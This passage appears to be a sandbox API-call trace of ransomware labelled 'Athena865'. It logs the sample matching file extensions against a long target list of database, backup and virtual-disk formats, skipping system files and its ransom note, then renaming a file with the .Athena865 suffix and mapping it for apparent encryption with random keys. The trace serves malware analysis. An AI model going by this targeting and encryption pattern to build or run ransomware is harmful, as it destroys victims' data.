lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0109.044] lstrlenW (lpString="jtx") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0109.044] lstrlenW (lpString="kdb") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0109.044] lstrlenW (lpString="kexi") returned 4 [0109.044] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0109.044] lstrlenW (lpString="kexic") returned 5 [0109.044] lstrcmpiW (lpString1="h.dat", lpString2="kexic") returned -1 [0109.044] lstrlenW (lpString="kexis") returned 5 [0109.044] lstrcmpiW (lpString1="h.dat", lpString2="kexis") returned -1 [0109.044] lstrlenW (lpString="lgc") returned 3 [0109.044] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0109.045] lstrlenW (lpString="lwx") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0109.045] lstrlenW (lpString="maf") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0109.045] lstrlenW (lpString="maq") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0109.045] lstrlenW (lpString="mar") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0109.045] lstrlenW (lpString="marshal") returned 7 [0109.045] lstrcmpiW (lpString1="ksh.dat", lpString2="marshal") returned -1 [0109.045] lstrlenW (lpString="mas") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0109.045] lstrlenW (lpString="mav") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0109.045] lstrlenW (lpString="maw") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0109.045] lstrlenW (lpString="mdbhtml") returned 7 [0109.045] lstrcmpiW (lpString1="ksh.dat", lpString2="mdbhtml") returned -1 [0109.045] lstrlenW (lpString="mdn") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0109.045] lstrlenW (lpString="mdt") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0109.045] lstrlenW (lpString="mfd") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0109.045] lstrlenW (lpString="mpd") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0109.045] lstrlenW (lpString="mrg") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0109.045] lstrlenW (lpString="mud") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0109.045] lstrlenW (lpString="mwb") returned 3 [0109.045] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0109.046] lstrlenW (lpString="myd") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0109.046] lstrlenW (lpString="ndf") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0109.046] lstrlenW (lpString="nnt") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0109.046] lstrlenW (lpString="nrmlib") returned 6 [0109.046] lstrcmpiW (lpString1="sh.dat", lpString2="nrmlib") returned 1 [0109.046] lstrlenW (lpString="ns2") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0109.046] lstrlenW (lpString="ns3") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0109.046] lstrlenW (lpString="ns4") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0109.046] lstrlenW (lpString="nsf") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0109.046] lstrlenW (lpString="nv") returned 2 [0109.046] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0109.046] lstrlenW (lpString="nv2") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0109.046] lstrlenW (lpString="nwdb") returned 4 [0109.046] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0109.046] lstrlenW (lpString="nyf") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0109.046] lstrlenW (lpString="odb") returned 3 [0109.046] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0109.046] lstrlenW (lpString="odb") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0109.047] lstrlenW (lpString="oqy") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0109.047] lstrlenW (lpString="ora") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0109.047] lstrlenW (lpString="orx") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0109.047] lstrlenW (lpString="owc") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0109.047] lstrlenW (lpString="p96") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0109.047] lstrlenW (lpString="p97") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0109.047] lstrlenW (lpString="pan") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0109.047] lstrlenW (lpString="pdb") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0109.047] lstrlenW (lpString="pdm") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0109.047] lstrlenW (lpString="pnz") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0109.047] lstrlenW (lpString="qry") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0109.047] lstrlenW (lpString="qvd") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0109.047] lstrlenW (lpString="rbf") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0109.047] lstrlenW (lpString="rctd") returned 4 [0109.047] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0109.047] lstrlenW (lpString="rod") returned 3 [0109.047] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0109.048] lstrlenW (lpString="rodx") returned 4 [0109.048] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0109.048] lstrlenW (lpString="rpd") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0109.048] lstrlenW (lpString="rsd") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0109.048] lstrlenW (lpString="sas7bdat") returned 8 [0109.048] lstrcmpiW (lpString1="uksh.dat", lpString2="sas7bdat") returned 1 [0109.048] lstrlenW (lpString="sbf") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0109.048] lstrlenW (lpString="scx") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0109.048] lstrlenW (lpString="sdb") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0109.048] lstrlenW (lpString="sdc") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0109.048] lstrlenW (lpString="sdf") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0109.048] lstrlenW (lpString="sis") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0109.048] lstrlenW (lpString="spq") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0109.048] lstrlenW (lpString="te") returned 2 [0109.048] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0109.048] lstrlenW (lpString="teacher") returned 7 [0109.048] lstrcmpiW (lpString1="ksh.dat", lpString2="teacher") returned -1 [0109.048] lstrlenW (lpString="tmd") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0109.048] lstrlenW (lpString="tps") returned 3 [0109.048] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0109.048] lstrlenW (lpString="trc") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0109.049] lstrlenW (lpString="trc") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0109.049] lstrlenW (lpString="trm") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0109.049] lstrlenW (lpString="udb") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0109.049] lstrlenW (lpString="udl") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0109.049] lstrlenW (lpString="usr") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0109.049] lstrlenW (lpString="v12") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0109.049] lstrlenW (lpString="vis") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0109.049] lstrlenW (lpString="vpd") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0109.049] lstrlenW (lpString="vvv") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0109.049] lstrlenW (lpString="wdb") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0109.049] lstrlenW (lpString="wmdb") returned 4 [0109.049] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0109.049] lstrlenW (lpString="wrk") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0109.049] lstrlenW (lpString="xdb") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0109.049] lstrlenW (lpString="xld") returned 3 [0109.049] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0109.049] lstrlenW (lpString="xmlff") returned 5 [0109.049] lstrcmpiW (lpString1="h.dat", lpString2="xmlff") returned -1 [0109.049] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.Athena865") returned 72 [0109.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.athena865"), dwFlags=0x1) returned 1 [0109.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.051] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2227968) returned 1 [0109.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.052] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.052] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.052] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.053] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x220200, lpName=0x0) returned 0x17c [0109.060] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x20200) returned 0x170000 [0109.081] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0109.164] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0109.182] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.183] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.183] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.184] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0109.185] CloseHandle (hObject=0x17c) returned 1 [0109.185] CloseHandle (hObject=0x154) returned 1 [0109.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.193] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0109.193] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.193] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".") returned 1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="..") returned 1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="windows") returned -1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="bootmgr") returned 1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="temp") returned -1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="pagefile.sys") returned -1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="boot") returned 1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="ids.txt") returned -1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="ntuser.dat") returned -1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="perflogs") returned -1 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="MSBuild") returned -1 [0109.194] lstrlenW (lpString="hwrusalm.dat") returned 12 [0109.194] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwrusalm.dat" | out: lpString1="hwrusalm.dat") returned="hwrusalm.dat" [0109.194] lstrlenW (lpString="hwrusalm.dat") returned 12 [0109.194] lstrlenW (lpString="Athena865") returned 9 [0109.194] lstrcmpiW (lpString1="usalm.dat", lpString2="Athena865") returned 1 [0109.194] lstrlenW (lpString=".dll") returned 4 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".dll") returned 1 [0109.194] lstrlenW (lpString=".lnk") returned 4 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".lnk") returned 1 [0109.194] lstrlenW (lpString=".ini") returned 4 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".ini") returned 1 [0109.194] lstrlenW (lpString=".sys") returned 4 [0109.194] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".sys") returned 1 [0109.194] lstrlenW (lpString="hwrusalm.dat") returned 12 [0109.194] lstrlenW (lpString="bak") returned 3 [0109.194] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0109.194] lstrlenW (lpString="ba_") returned 3 [0109.194] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0109.194] lstrlenW (lpString="dbb") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0109.195] lstrlenW (lpString="vmdk") returned 4 [0109.195] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0109.195] lstrlenW (lpString="rar") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0109.195] lstrlenW (lpString="zip") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0109.195] lstrlenW (lpString="tgz") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0109.195] lstrlenW (lpString="vbox") returned 4 [0109.195] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0109.195] lstrlenW (lpString="vdi") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0109.195] lstrlenW (lpString="vhd") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0109.195] lstrlenW (lpString="vhdx") returned 4 [0109.195] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0109.195] lstrlenW (lpString="avhd") returned 4 [0109.195] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0109.195] lstrlenW (lpString="db") returned 2 [0109.195] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0109.195] lstrlenW (lpString="db2") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0109.195] lstrlenW (lpString="db3") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0109.195] lstrlenW (lpString="dbf") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0109.195] lstrlenW (lpString="mdf") returned 3 [0109.195] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0109.195] lstrlenW (lpString="mdb") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0109.196] lstrlenW (lpString="sql") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0109.196] lstrlenW (lpString="sqlite") returned 6 [0109.196] lstrcmpiW (lpString1="lm.dat", lpString2="sqlite") returned -1 [0109.196] lstrlenW (lpString="sqlite3") returned 7 [0109.196] lstrcmpiW (lpString1="alm.dat", lpString2="sqlite3") returned -1 [0109.196] lstrlenW (lpString="sqlitedb") returned 8 [0109.196] lstrcmpiW (lpString1="salm.dat", lpString2="sqlitedb") returned -1 [0109.196] lstrlenW (lpString="xml") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0109.196] lstrlenW (lpString="$er") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0109.196] lstrlenW (lpString="4dd") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0109.196] lstrlenW (lpString="4dl") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0109.196] lstrlenW (lpString="^^^") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0109.196] lstrlenW (lpString="abs") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0109.196] lstrlenW (lpString="abx") returned 3 [0109.196] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0109.196] lstrlenW (lpString="accdb") returned 5 [0109.196] lstrcmpiW (lpString1="m.dat", lpString2="accdb") returned 1 [0109.196] lstrlenW (lpString="accdc") returned 5 [0109.196] lstrcmpiW (lpString1="m.dat", lpString2="accdc") returned 1 [0109.196] lstrlenW (lpString="accde") returned 5 [0109.196] lstrcmpiW (lpString1="m.dat", lpString2="accde") returned 1 [0109.197] lstrlenW (lpString="accdr") returned 5 [0109.197] lstrcmpiW (lpString1="m.dat", lpString2="accdr") returned 1 [0109.197] lstrlenW (lpString="accdt") returned 5 [0109.197] lstrcmpiW (lpString1="m.dat", lpString2="accdt") returned 1 [0109.197] lstrlenW (lpString="accdw") returned 5 [0109.197] lstrcmpiW (lpString1="m.dat", lpString2="accdw") returned 1 [0109.197] lstrlenW (lpString="accft") returned 5 [0109.197] lstrcmpiW (lpString1="m.dat", lpString2="accft") returned 1 [0109.197] lstrlenW (lpString="adb") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0109.197] lstrlenW (lpString="adb") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0109.197] lstrlenW (lpString="ade") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0109.197] lstrlenW (lpString="adf") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0109.197] lstrlenW (lpString="adn") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0109.197] lstrlenW (lpString="adp") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0109.197] lstrlenW (lpString="alf") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0109.197] lstrlenW (lpString="ask") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0109.197] lstrlenW (lpString="btr") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0109.197] lstrlenW (lpString="cat") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0109.197] lstrlenW (lpString="cdb") returned 3 [0109.197] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0109.198] lstrlenW (lpString="ckp") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0109.198] lstrlenW (lpString="cma") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0109.198] lstrlenW (lpString="cpd") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0109.198] lstrlenW (lpString="dacpac") returned 6 [0109.198] lstrcmpiW (lpString1="lm.dat", lpString2="dacpac") returned 1 [0109.198] lstrlenW (lpString="dad") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0109.198] lstrlenW (lpString="dadiagrams") returned 10 [0109.198] lstrcmpiW (lpString1="rusalm.dat", lpString2="dadiagrams") returned 1 [0109.198] lstrlenW (lpString="daschema") returned 8 [0109.198] lstrcmpiW (lpString1="salm.dat", lpString2="daschema") returned 1 [0109.198] lstrlenW (lpString="db-journal") returned 10 [0109.198] lstrcmpiW (lpString1="rusalm.dat", lpString2="db-journal") returned 1 [0109.198] lstrlenW (lpString="db-shm") returned 6 [0109.198] lstrcmpiW (lpString1="lm.dat", lpString2="db-shm") returned 1 [0109.198] lstrlenW (lpString="db-wal") returned 6 [0109.198] lstrcmpiW (lpString1="lm.dat", lpString2="db-wal") returned 1 [0109.198] lstrlenW (lpString="dbc") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0109.198] lstrlenW (lpString="dbs") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0109.198] lstrlenW (lpString="dbt") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0109.198] lstrlenW (lpString="dbv") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0109.198] lstrlenW (lpString="dbx") returned 3 [0109.198] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0109.199] lstrlenW (lpString="dcb") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0109.199] lstrlenW (lpString="dct") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0109.199] lstrlenW (lpString="dcx") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0109.199] lstrlenW (lpString="ddl") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0109.199] lstrlenW (lpString="dlis") returned 4 [0109.199] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0109.199] lstrlenW (lpString="dp1") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0109.199] lstrlenW (lpString="dqy") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0109.199] lstrlenW (lpString="dsk") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0109.199] lstrlenW (lpString="dsn") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0109.199] lstrlenW (lpString="dtsx") returned 4 [0109.199] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0109.199] lstrlenW (lpString="dxl") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0109.199] lstrlenW (lpString="eco") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0109.199] lstrlenW (lpString="ecx") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0109.199] lstrlenW (lpString="edb") returned 3 [0109.199] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0109.199] lstrlenW (lpString="epim") returned 4 [0109.199] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0109.200] lstrlenW (lpString="fcd") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0109.200] lstrlenW (lpString="fdb") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0109.200] lstrlenW (lpString="fic") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0109.200] lstrlenW (lpString="flexolibrary") returned 12 [0109.200] lstrlenW (lpString="fm5") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0109.200] lstrlenW (lpString="fmp") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0109.200] lstrlenW (lpString="fmp12") returned 5 [0109.200] lstrcmpiW (lpString1="m.dat", lpString2="fmp12") returned 1 [0109.200] lstrlenW (lpString="fmpsl") returned 5 [0109.200] lstrcmpiW (lpString1="m.dat", lpString2="fmpsl") returned 1 [0109.200] lstrlenW (lpString="fol") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0109.200] lstrlenW (lpString="fp3") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0109.200] lstrlenW (lpString="fp4") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0109.200] lstrlenW (lpString="fp5") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0109.200] lstrlenW (lpString="fp7") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0109.200] lstrlenW (lpString="fpt") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0109.200] lstrlenW (lpString="frm") returned 3 [0109.200] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0109.200] lstrlenW (lpString="gdb") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0109.201] lstrlenW (lpString="gdb") returned 3 [0109.201] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0109.201] lstrlenW (lpString="grdb") returned 4 [0109.201] 